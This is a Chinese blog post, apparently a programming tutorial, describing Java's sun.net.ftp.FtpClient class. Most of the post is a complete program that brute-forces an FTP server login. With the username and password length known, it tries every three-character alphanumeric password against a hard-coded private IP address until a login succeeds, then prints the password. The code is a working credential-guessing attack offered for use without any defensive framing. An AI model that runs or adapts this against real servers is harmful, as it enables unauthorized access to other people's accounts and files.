Java实现穷举密码登录FTP服务器

sun.net包中包含了很多协议的相关内容 ,比如FTP、SMTP、WWW等。

其中的ftp包里的FtpClient类可以实现一个FTP客户端,它提供了FTP的一些常用命令,比如连接服务器,登录服务器,上传下载文件等。

相关的方法都封装了ftp命令,可以方便地调用。

不足之处是,很多方法的返回值都是void,比如登录服务器,当用户名或者密码错误的时候,会抛出异常,正确的时候返回void。它并没有返回ftp的错误代码等。

当在错误的时候,捕获异常,然后输出,可以看到里边的ftp错误代码。

我在这里仅仅用了其中的三个方法,一是构建了一个FtpClient对象,二是连接服务器,三是登录服务器。登录服务器采用的是穷举密码的方法。测试了下,速度还是挺快的。

package per.eyuan.ftp.core;

import java.io.IOException;
import sun.net.ftp.FtpClient;;
/**
 * @author eyuan
 * 使用穷举密码的办法登录FTP服务器
 * 假设:用户名已知,密码长度已知
 */
public class FtpServerConnect {
	FtpClient ftpClient=null;
	String ip="";
	int port=0;
	String username="";
	char[] password;
	String passwd="";
	/**
	 * main()
	 */
	public static void main(String[] args) {
		FtpServerConnect fsc=new FtpServerConnect();
		fsc.ip="192.168.1.105";
		fsc.port=21;
		fsc.username="mhb";
		fsc.password=new char[3];
		fsc.connectServer(fsc.ip, fsc.port);
		
		StringBuffer sb=new StringBuffer(); 
		for(int i=0;i<=9;i++){
			sb.append(i);
		}
		for(char ch='A';ch<='Z';ch++){
			sb.append(ch);
		}
		for(char ch='a';ch<='z';ch++){
			sb.append(ch);
		}
		
		int sbLength=sb.length();
		for(int i=0;i<sbLength;i++){
			fsc.password[0]=sb.charAt(i);
			for(int j=0;j<sbLength;j++){
				fsc.password[1]=sb.charAt(j);
				for(int k=0;k<sbLength;k++){
					fsc.password[2]=sb.charAt(k);
					fsc.passwd=""+fsc.password[0]+fsc.password[1]+fsc.password[2];
					if(fsc.loginServer(fsc.username, fsc.passwd)){
						System.out.println("成功登录FTP服务器");
						System.out.println("用户密码:"+fsc.passwd);
						return;
					}
				}
			}
		}
	}
	/**
	 * 连接到指定IP地址的服务器上的指定端口的FTP服务
	 * @param String ip 服务器IP地址
	 * @param int port 服务器FTP端口
	 * @return boolean flagConnectServer 是否成功连接到服务器
	 */
	public boolean connectServer(String ip,int port){
		boolean flagConnectServer=true;
		ftpClient=new FtpClient();
		try{
			ftpClient.openServer(ip, port);
			System.out.println("连接服务器成功");
		}catch(IOException ioe){
			flagConnectServer=false;
			System.out.println("IP地址或者端口错误,无法连接到服务器");
		}
		return flagConnectServer;
	}
	/**
	 * 使用指定的用户名和密码登录指定的FTP服务器
	 * @param String username FTP用户名
	 * @param String password FTP密码
	 * @return boolean flagLoginServer 是否登录成功
	 */
	public boolean loginServer(String username,String password){
		boolean flagLoginServer=true;
		try {
			ftpClient.login(username, password);
			System.out.println("登录成功");
		} catch (IOException e) {
			flagLoginServer=false;
		}
		return flagLoginServer;
	}

}

没有更多推荐了,返回首页

私密
私密原因:
请选择设置私密原因
  • 广告
  • 抄袭
  • 版权
  • 政治
  • 色情
  • 无意义
  • 其他
其他原因:
120
出错啦
系统繁忙,请稍后再试

关闭